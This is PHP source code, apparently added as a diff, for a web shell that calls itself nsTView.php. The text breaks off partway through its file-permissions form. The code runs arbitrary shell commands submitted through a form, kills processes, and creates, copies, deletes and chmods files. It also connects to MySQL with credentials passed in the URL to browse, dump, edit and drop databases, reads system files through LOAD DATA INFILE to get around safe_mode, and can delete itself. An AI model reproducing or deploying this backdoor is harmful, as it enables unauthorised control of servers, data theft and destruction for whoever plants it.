+if(@$_GET['p']=="sql"){ +print "<tr><td>"; +### + +$f_d = $_GET['f_d']; +if(!isset($f_d)){$f_d=".";} +if($f_d==""){$f_d=".";} + +$php_self=$_SERVER['PHP_SELF']; +$delete_table=$_GET['delete_table']; +$tbl=$_GET['tbl']; +$from=$_GET['from']; +$to=$_GET['to']; +$adress=$_POST['adress']; +$port=$_POST['port']; +$login=$_POST['login']; +$pass=$_POST['pass']; +$adress=$_GET['adress']; +$port=$_GET['port']; +$login=$_GET['login']; +$pass=$_GET['pass']; +$conn=$_GET['conn']; +if(!isset($adress)){$adress="localhost";} +if(!isset($login)){$login="root";} +if(!isset($pass)){$pass="";} +if(!isset($port)){$port="3306";} +if(!isset($from)){$from=0;} +if(!isset($to)){$to=50;} + + +?> +<style> +table,td{ +color: black; +font-face: verdana; +font-size: 11px; + +} +</style> +<font color=black face=verdana size=1> +<? if(!$conn){ ?> + +<!-- table 1 --> +<table bgcolor=#D7FFA8> +<tr><td valign=top>Address:</td><td><form><input name=adress value='<?=$adress?>' size=20><input name=port value='<?=$port?>' size=6></td></tr> +<tr><Td valign=top>Login: </td><td><input name=login value='<?=$login?>' size=10></td></tr> +<tr><Td valign=top>Pass:</td><td> <input name=pass value='<?=$pass?>' size=10><input type=hidden name=p value=sql></td></tr> +<tr><td></td><td><input type=submit name=conn value=Connect></form></td></tr><?}?> +<tr><td valign=top><? if($conn){ echo "<b>PHP v".@phpversion()."<br>mySQL v".@mysql_get_server_info()."<br>";}?></b></td><td></td></tr> +</table> +<!-- end of table 1 --> + + +<? +$conn=$_GET['conn']; +$adress=$_GET['adress']; +$port=$_GET['port']; +$login=$_GET['login']; +$pass=$_GET['pass']; +if($conn){ + +$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("<font color=red>Error: ".mysql_error()."</font>"); +if($serv){$status="Connected. :: <a href='$php_self?p=sql'>Log out</a>";}else{$status="Disconnected.";} +print "<b><font color=green>Status: $status<br><br>"; # #D7FFA8 +print "<table cellpadding=0 cellspacing=0 bgcolor=#D7FFA8><tr><td valign=top>"; +print "<br><font color=red>[db]</font><Br>"; +print "<font color=white>"; +$res = mysql_list_dbs($serv); +while ($str=mysql_fetch_row($res)){ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&delete_db=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")'>[DEL]<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$str[0]&dump_db=$str[0]&f_d=$d'>[DUMP]</a></a> <b><a href='$php_self?baza=1&db=$str[0]&p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a></b><br>"; +$tc++; +} +$baza=$_GET['baza']; +$db=$_GET['db']; +print "<font color=red>[Total db: $tc]</font><br>"; +if($baza){ +print "<div align=left><font color=green>db: [$db]</div></font><br>"; +$result=@mysql_list_tables($db); +while($str=@mysql_fetch_array($result)){ +$c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); +$records=mysql_fetch_array($c); + +if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);} +if($records[0]=="0"){ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]&ins_new_line=1'>$str[0]</a><br>"; +}else{ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a><br>"; +} +mysql_free_result($c); +$total_t++; +} +print "<br><B><font color=red>Total tables: $total_t</font></b>"; + print "<pre>"; +for($i=0; $i<$s4ot+10; $i++){print "&nbsp;";} + print "</pre>"; +} #end baza + + + + +# delete table +if(isset($delete_table)){ +mysql_select_db($_GET['db']) or die("<font color=red>".mysql_error()."</font>"); +mysql_query("DROP TABLE IF EXISTS $delete_table") or die("<font color=red>".mysql_error()."</font>"); +print "<br><b><font color=green>Table [ $delete_table ] :: Deleted success!</font></b>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1\">"; +} +# end of delete table + +# delete database +if(isset($_GET['delete_db'])){ +mysql_drop_db($_GET['delete_db']) or die("<font color=red>".mysql_error()."</font>"); +print "<br><b><font color=green>Database ".$_GET['delete_db']." :: Deleted Success!"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1\">"; +} +# end of delete database + +# delete row +if(isset($_POST['delete_row'])){ +$_POST['delete_row'] = base64_decode($_POST['delete_row']); +mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("<font color=red>".mysql_error()."</font>"); +$del_result = "<br><b><font color=green>Deleted Success!<br>".$_POST['delete_row']; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +} +# end of delete row + + +$vn=$_GET['vn']; +print "</td><td valign=top>"; +print "<font color=green>Database: $db => $vn</font>"; + +# edit row +if(isset($_POST['edit_row'])){ +$edit_row=base64_decode($_POST['edit_row']); + +$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("<font color=red>".mysql_error()."</font>"); +print "<br><br> + <table border=0 cellpadding=1 cellspacing=1><tr> + <td><b>Row</b></td><td><b>Value</b></td></tr>"; +print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."'>"; +print "<input type=hidden name=edit_row value='".$_POST['edit_row']."'>"; +print " <input type=radio name=upd value=update checked>Update<br> + <input type=radio name=upd value=insert>Insert new<br><br>"; + + +$i=0; +while($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){ +foreach($mn as $key =>$val){ +$type = mysql_field_type($r_edit, $i); +$len = mysql_field_len($r_edit, $i); +$del .= "`$key`='".adds($val)."' AND "; +$c=strlen($val); +$val=htmlspecialchars($val, ENT_NOQUOTES); +$str=" <textarea name='$key' cols=39 rows=5>$val</textarea> "; +$buff .= "<tr><td bgcolor=silver><b>$key</b><br><font color=green>(<b>$type($len)</b>)</font></td><td>$str</td></tr>"; +$i++; +} + +} +$delstring=base64_encode($del); +print "<input type=hidden name=delstring value=\"$delstring\">"; +print "$buff</table><br>"; +print "<br>"; +if(!$_POST['makeupdate']){print "<input type=submit value=Update name=makeupdate></form>";} + + + + +if($_POST['makeupdate']){ +if($_POST['upd']=='update'){ +preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); +$delstring=$_POST['delstring']; +$delstring=base64_decode($delstring); +$delstring = substr($delstring, 0, strlen($delstring)-5); + +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',"; +} +$total_str = substr_replace($total_str,"",-1); +$up_string = "UPDATE `$tbl` SET $total_str WHERE $delstring"; +$up_string = htmlspecialchars($up_string, ENT_NOQUOTES); +print "<b>PHP var:<br></b>\$sql=\"$up_string\";<br><br>"; + +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +mysql_query($up_string) or die("<font color=red>".mysql_error()."</font>"); +}#end of make update + + + +if($_POST['upd']=='insert'){ +preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); +$delstring=$_POST['delstring']; +$delstring=base64_decode($delstring); +$delstring = substr($delstring, 0, strlen($delstring)-5); + +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,"; +} + +$total_str = ",,".$total_str; + +preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4); + +for($i=0; $i<count($matches4[1]); $i++){ + $matches4[1][0]=str_replace(",","",$matches4[1][0]); + $total_m_i .= "`".$matches4[1][$i]."`,"; + $total_m_x .= "'".$matches4[2][$i]."',"; +} +$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1); +$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1); + +$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)"; +mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>"); +print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +}#end of insert +}#end of update +} +# end of edit row + + +# insert new line +if($_GET['ins_new_line']){ +$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("<font color=red>".mysql_error()."</font>"); +print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."&ins_new_line=1'> +Insert new line in <b>$tbl</b> table</b><Br><br>"; +print "<table>"; +while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) { +foreach ($new_line as $key =>$next) { +$buff .= "$next "; +} +$expl=explode(" ",$buff); +$buff2 .= $expl[0]." "; +print "<tr><td bgcolor=silver><b>$expl[0]</b><br><font color=green>(<b>$expl[1]</b>)</font></td> +<td><textarea name='$expl[0]' cols=39 rows=5></textarea> +</td></tr>"; +unset($buff); +} +print "</table> +<center><input type=submit value=Insert name=mk_ins></form></center>"; +if($_POST['mk_ins']){ +preg_match_all("/(.*?)\s/i",$buff2,$matches3); +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,"; +} + +$total_str = ",,".$total_str; +preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4); + +for($i=0; $i<count($matches4[1]); $i++){ + $matches4[1][0]=str_replace(",","",$matches4[1][0]); + $total_m_i .= "`".$matches4[1][$i]."`,"; + $total_m_x .= "'".$matches4[2][$i]."',"; +} +$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1); +$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1); + +$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)"; +mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>"); +print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +}#end of mk ins +}#end of ins new line + + + + + + +if(isset($_GET['rename_table'])){ +$rename_table=$_GET['rename_table']; +print "<br><br>Rename <b>$rename_table</b> to<br><br> +<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$rename_table'> +<input name=new_name size=30><center><br> +<input type=submit value=Rename></center> +</form> +"; + +if(isset($_POST['new_name'])){ +mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>"); +mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("<font color=red>".mysql_error()."</font>"); +print "<br><font color=green>Table <b>$rename_table</b> renamed to <b>".$_POST['new_name']."</b></font>"; +print "<meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&db=$db\">"; +} + +}#end of rename + + +# dump table +if($_GET['dump']){ +if(!is_writable($f_d)){die("<br><br><font color=red>This folder $f_d isnt writable!<br>Cannot make dump.<br><br> +<font color=green><b>You can change temp folder for dump file in your browser!<br> +<font color=red>Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)</font><br> +Then press enter</b></font> +</font>");} +mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>"); +$fp = fopen($f_d."/".$f,"w"); +fwrite($fp, "# nsTView.php v$ver +# Web: http://alturks.com +# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].") +# MySQL version: ".mysql_get_server_info()." +# PHP version: ".phpversion()." +# Date: ".date("d.m.Y - H:i:s")." +# Dump db ( $db ) Table ( $tbl ) +# --- eof --- + +"); +$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("<font color=red>".mysql_error()."</font>"); +$row = mysql_fetch_row($que); +fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n"); +$row[1]=str_replace("\n","\r\n",$row[1]); +fwrite($fp, $row[1].";\r\n\r\n"); +$que = mysql_query("SELECT * FROM `$tbl`"); +if(mysql_num_rows($que)>0){ +while($row = mysql_fetch_assoc($que)){ +$keys = join("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = adds2($v);} +$values = implode("', '", $values); +$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n"; +fwrite($fp, $sql); +} +} +fclose($fp); +print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">"; +}#end of dump + + + + +# db dump +if($_GET['dump_db']){ +$c=mysql_num_rows(mysql_list_tables($db)); +if($c>=1){ +print "<br><br>&nbsp;&nbsp;&nbsp;Dump database <b>$db</b>"; +}else{ +print "<br><br><font color=red>Cannot dump database. No tables exists in <b>$db</b> db.</font>"; +die; +} +if(sizeof($tabs)==0){ +$res = mysql_query("SHOW TABLES FROM $db"); +if(mysql_num_rows($res)>0){ +while($row=mysql_fetch_row($res)){ +$tabs[] .= $row[0]; +} +} +} +$fp = fopen($f_d."/".$f,"w"); +fwrite($fp, "# nsTView.php v$ver +# Web: http://alturks.com +# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].") +# MySQL version: ".mysql_get_server_info()." +# PHP version: ".phpversion()." +# Date: ".date("d.m.Y - H:i:s")." +# Dump db ( $db ) +# --- eof --- + +"); +foreach($tabs as $tab) { +fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n"); +$res = mysql_query("SHOW CREATE TABLE `$tab`"); +$row = mysql_fetch_row($res); +$row[1]=str_replace("\n","\r\n",$row[1]); +fwrite($fp, $row[1].";\r\n\r\n"); +$res = mysql_query("SELECT * FROM `$tab`"); +if(mysql_num_rows($res)>0){ +while($row=mysql_fetch_assoc($res)){ +$keys = join("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = adds2($v);} +$values = join("', '", $values); +$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n"; +fwrite($fp, $sql); +}} +fwrite($fp, "\r\n\r\n\r\n"); +} +fclose($fp); +print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">"; +}#end of db dump + + + + + + +$vnutr=$_GET['vnutr']; +$tbl=$_GET['tbl']; +if($vnutr and !$_GET['ins_new_line']){ +print "<table cellpadding=0 cellspacing=1><tr><td>"; + +mysql_select_db($db) or die(mysql_error()); +$c=mysql_query ("SELECT COUNT(*) FROM $tbl"); +$cfa=mysql_fetch_array($c); +mysql_free_result($c); +print " +Total: $cfa[0] +<form> +From: <input name=from size=3 value=0> +To: <input name=to size=3 value='$cfa[0]'> +<input type=submit name=show value=Show> +<input type=hidden name=vnutr value=1> +<input type=hidden name=vn value='$vn'> +<input type=hidden name=db value='$db'> +<input type=hidden name=login value='$login'> +<input type=hidden name=pass value='$pass'> +<input type=hidden name=adress value='$adress'> +<input type=hidden name=conn value=1> +<input type=hidden name=baza value=1> +<input type=hidden name=p value=sql> +<input type=hidden name=tbl value='$tbl'> + [<a href='$php_self?getdb=1&to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl'>DOWNLOAD</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&ins_new_line=1'>INSERT</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&dump=1&f_d=$d'>DUMP</a>] +</form></td></tr></table>"; +$vn=$_GET['vn']; +$from=$_GET['from']; +$to=$_GET['to']; +$from=$_GET['from']; +$to=$_GET['to']; +if(!isset($from)){$from=0;} +if(!isset($to)){$to=50;} +$query = "SELECT * FROM $vn LIMIT $from,$to"; +$result = mysql_query($query); +$result1= mysql_query($query); +print $del_result; +print "<table cellpadding=0 cellspacing=1 border=1><tr><td></td>"; +for ($i=0;$i<mysql_num_fields($result);$i++){ +$name=mysql_field_name($result,$i); +$type = mysql_field_type($result, $i); +$len = mysql_field_len($result, $i); +print "<td bgcolor=#BCE0FF> $name (<b>$type($len)</b>)</td>"; +} +print "</tr><pre>"; + +while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){ +foreach($mn as $key=>$inside){ +$buffer1 .= "`$key`='".adds($inside)."' AND "; +$b1 .= "<td>".htmlspecialchars($inside, ENT_NOQUOTES)."&nbsp;</td>"; +} +$buffer1 = substr($buffer1, 0, strlen($buffer1)-5); +$buffer1 = base64_encode($buffer1); +print "<td> +<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&vnutr=1&baza=1&vn=$vn&db=$db'> +<input type=hidden name=delete_row value='$buffer1'> +<input type=submit value=Del onclick='return confirm(\"DELETE ?\")' style='border:1px; background-color:white;'> +</form><form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&baza=1&vn=$vn&db=$db'> +<input type=hidden name=edit_row value='$buffer1'> +<input type=submit value=Edit style='border:1px;background-color:green;'> +</form> +</td>\r\n"; +print $b1; +print "</tr>"; +unset($b1); +unset($buffer1); +} + + + +mysql_free_result($result); +print "</table>"; +} #end vnutr +print "</td></tr></table>"; +} # end $conn + + +### end of sql +print "</tr></td></table> </td></tr></table>"; +print $copyr; +die; +} + + +@$p=$_GET['p']; +if(@$_GET['p']=="selfremover"){ + print "<tr><td>"; +print "<font color=red face=verdana size=1>Are you sure?<br> +<a href='$php_self?p=yes'>Yes</a> | <a href='$php_self?'>No</a><br> +Remove: <u>"; +$path=__FILE__; +print $path; +print " </u>?</td></tr></table>"; +die; +} + +if($p=="yes"){ +$path=__FILE__; +@unlink($path); +$path=str_replace("\\","/",$path); +if(file_exists($path)){$hmm="NOT DELETED!!!"; +print "<tr><td><font color=red>FILE $path NOT DELETED</td></tr>"; +}else{$hmm="DELETED";} +print "<script>alert('$path $hmm');</script>"; + +} + + + +if($os=="unix"){ +function fastcmd(){ +global $fast_commands; +$c_f=explode("\n",$fast_commands); +$c_f=count($c_f)-2; +print " +<form method=post> +Total commands: $c_f<br> +<select name=sh3>"; + +$c=substr_count($fast_commands," (nst) "); +for($i=0; $i<=$c; $i++){ + $expl2=explode("\r\n",$fast_commands); + $expl=explode(" (nst) ",$expl2[$i]); + if(trim($expl[1])!=""){ + print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n"; + } +} + +print "</select><br> +<input type=submit value=Exec> +</form> +"; +} +}#end of os unix + + +if($os=="win"){ +function fastcmd(){ +global $fast_commands_win; +$c_f=explode("\n",$fast_commands_win); +$c_f=count($c_f)-2; +print " +<form method=post> +Total commands: $c_f<br> +<select name=sh3>"; + +$c=substr_count($fast_commands_win," (nst) "); +for($i=0; $i<=$c; $i++){ + $expl2=explode("\r\n",$fast_commands_win); + $expl=explode(" (nst) ",$expl2[$i]); + if(trim($expl[1])!=""){ + print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n"; + } +} + +print "</select><br> +<input type=submit value=Exec> +</form> +"; +} +}#end of os win + + +echo " +<tr><td>"; +if(@$_GET['sh311']=="1"){echo "<center>cmd<br>pwd: +"; +chdir($d); +echo getcwd()."<br><br> +Fast cmd:<br>"; +fastcmd(); +if($os=="win"){$d=str_replace("/","\\\\",$d);} +print " +<a href=\"javascript:cwd('$d ')\">Insert pwd</a> +<form name=sh311Form method=post><input name=sh3 size=110></form></center><br> +"; +if(@$_POST['sh3']){ +$sh3=$_POST['sh3']; +echo "<pre>"; +print `$sh3`; +echo "</pre>"; +} +} + +if(@$_GET['sh311']=="2"){ +echo "<center>cmd<br> +pwd: +"; +chdir($d); +echo getcwd()."<br><br> +Fast cmd:<br>"; +fastcmd(); +if($os=="win"){$d=str_replace("/","\\\\",$d);} +print " +<a href=\"javascript:cwd('$d ')\">Insert pwd</a> +<form name=sh311Form method=post><input name=sh3 size=110></form></center><br>"; +if(@$_POST['sh3']){ +$sh3=$_POST['sh3']; +echo "<pre>"; print `$sh3`; echo "</pre>";} +echo $copyr; +exit;} + +if(@$_GET['delfl']){ +@$delfolder=$_GET['delfolder']; +echo "DELETE FOLDER: <font color=red>".@$_GET['delfolder']."</font><br> +(All files must be writable)<br> +<a href='$php_self?deldir=1&dir=".@$delfolder."&rback=".@$_GET['rback']."'>Yes</a> || <a href='$php_self?d=$d'>No</a><br><br> +"; +echo $copyr; +exit; +} + + +$mkdir=$_GET['mkdir']; +if($mkdir){ +print "<br><b>Create Folder in $d :</b><br><br> +<form method=post> +New folder name:<br> +<input name=dir_n size=30> +</form><br> +"; +if($_POST['dir_n']){ +mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']); +print "<b><font color=green>Directory created success!</font></b>"; +} +print $copyr; +die; +} + + +$mkfile=$_GET['mkfile']; +if($mkfile){ +print "<br><b>Create file in $d :</b><br><br> +<form method=post> +File name:<br> +(example: hello.txt , hello.php)<br> +<input name=file_n size=30> +</form><br> +"; +if($_POST['file_n']){ +$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']); +fwrite($fp,""); +print "<b><font color=green>File created success!</font></b>"; +} +print $copyr; +die; +} + + +$ps_table=$_GET['ps_table']; +if($ps_table){ + +if($_POST['kill_p']){ +exec("kill -9 ".$_POST['kill_p']); +} + +$str=`ps aux`; + +# You can put here preg_match_all for other distrib/os +preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches); + + +print "<br><b>PS Table :: Fast kill program<br> +(p.s: Tested on Linux slackware 10.0)<br> +<br></b>"; +print "<center><table border=1>"; +for($i=0; $i<count($matches[3]); $i++){ +$expl=explode(" ",$matches[0][$i]); +print "<tr><td>$expl[0]</td><td>PID: ".$matches[1][$i]." :: ".$matches[3][$i]."</td><form method=post><td><font color=red>Kill: <input type=submit name=kill_p value=".trim($matches[1][$i])."></td></form></tr>"; +}#end of for +print "</table></center><br><br>"; +unset($str); +print $copyr; +die; +}#end of ps table + + +$read_file_safe_mode=$_GET['read_file_safe_mode']; +if($read_file_safe_mode){ + +if(!isset($_POST['l'])){$_POST['l']="root";} + +print "<br> +Read file content using MySQL - when <b>safe_mode</b>, <b>open_basedir</b> is <font color=green>ON</font><Br> +<form method=post> +<table> +<tr><td>Addr:</td><Td> <input name=serv_ip value='127.0.0.1'><input name=port value='3306' size=6></td></tr> +<tr><td>Login:</td><td><input name=l value=".$_POST['l']."></td></tr> +<tr><td>Passw:</td><td><input name=p value=".$_POST['p']."></td></tr></table> +(example: /etc/hosts)<br> +<input name=read_file size=45><br> +<input type=submit value='Show content'> +</form> +<br>"; + +if($_POST['read_file']){ +$read_file=$_POST['read_file']; +@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>"); +mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>"); +mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file"); +$query = "SELECT * FROM tmp_file"; +$result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>"); +print "<b>File content</b>:<br><br>"; +for($i=0;$i<mysql_num_fields($result);$i++){ +$name=mysql_field_name($result,$i);} +while($line=mysql_fetch_array($result, MYSQL_ASSOC)){ +foreach ($line as $key =>$col_value) { +print htmlspecialchars($col_value)."<br>";}} +mysql_free_result($result); +mysql_drop_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +} + + +print $copyr; +die; +}#end of read_file_safe_mode + + +# sys +$wich_f=$_GET['wich_f']; +$delete=$_GET['delete']; +$del_f=$_GET['del_f']; +$chmod=$_GET['chmod']; +$ccopy_to=$_GET['ccopy_to']; + + +# delete +if(@$_GET['del_f']){ +if(!isset($delete)){ +print "<font color=red>Delete this file?</font><br> +<b>$d/$wich_f<br><br></b> +<a href='$php_self?d=$d&del_f=$wich_f&delete=1'>Yes</a> / <a href='$php_self?d=$d'>No</a> +";} +if($delete==1){ +unlink($d."/".$del_f); +print "<b>File: <font color=green>$d/$del_f DELETED!</font></b> +<br><b> <a href='$php_self?d=$d'># BACK</a> +"; +} +echo $copyr; +exit; +} + + +# copy to +if($ccopy_to){ +$wich_f=$_POST['wich_f']; +$to_f=$_POST['to_f']; +print "<font color=green>Copy file:<br> +$d/$ccopy_to</font><br> +<br> +<form method=post> +File:<br><input name=wich_f size=100 value='$d/$ccopy_to'><br><br> +To:<br><input name=to_f size=100 value='$d/nst_$ccopy_to'><br><br> +<input type=submit value=Copy></form><br><br> +"; + +if($to_f){ +@copy($wich_f,$to_f) or die("<font color=red>Cannot copy!!! maybe folder is not writable</font>"); +print "<font color=green><b>Copy success!!!</b></font><br>"; +} + +echo $copyr; +exit; +} + + +# chmod +if(@$_GET['chmod']){ +$perms = @fileperms($d."/".$wich_f); +print "<b><font color=green>CHMOD file $d/$wich_f</font><br> +<br><center>This file chmod is</b> "; +print perm($perms); +print "</center> +<br>"; +$chmd=<<<HTML + +<script> +<!-- + +function do_chmod(user) { + var field4 = user + "4"; + var field2 = user + "2"; + var field1 = user + "1"; + var total = "t_" + user; + var symbolic = "sym_" + user; + var number = 0; + var sym_string = ""; + + if (document.chmod[field4].checked == true) { number += 4; } + if (document.chmod[field2].checked == true) { number += 2; } + if (document.chmod[field1].checked == true) { number += 1; } + + if (document.chmod[field4].checked == true) { + sym_string += "r"; + } else { + sym_string += "-"; + } + if (document.chmod[field2].checked == true) { + sym_string += "w"; + } else { + sym_string += "-"; + } + if (document.chmod[field1].checked == true) { + sym_string += "x"; + } else { + sym_string += "-"; + } + + if (number == 0) { number = ""; } + document.chmod[total].value = number; + document.chmod[symbolic].value = sym_string; + + document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value; + document.chmod.sym_total.value = "-" + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value; +} +//--> +</script> + + + +<form name="chmod" method=post> +<p><table cellpadding="0" cellspacing="0" border="0" bgcolor="silver"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#008000" align="center" colspan="5"><font color="#ffffff" size="3"><b>CHMOD (File Permissions)</b></font></td></tr> + <tr bgcolor="gray"> + <td align="left"><b>Permission</b></td> + <td align="center"><b>Owner</b></td> + <td align="center"><b>Group</b></td> + <td align="center"><b>Other</b></td> + <td bgcolor="#dddddd" rowspan="4"> </td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Read</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Write</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td> + <td align="center" 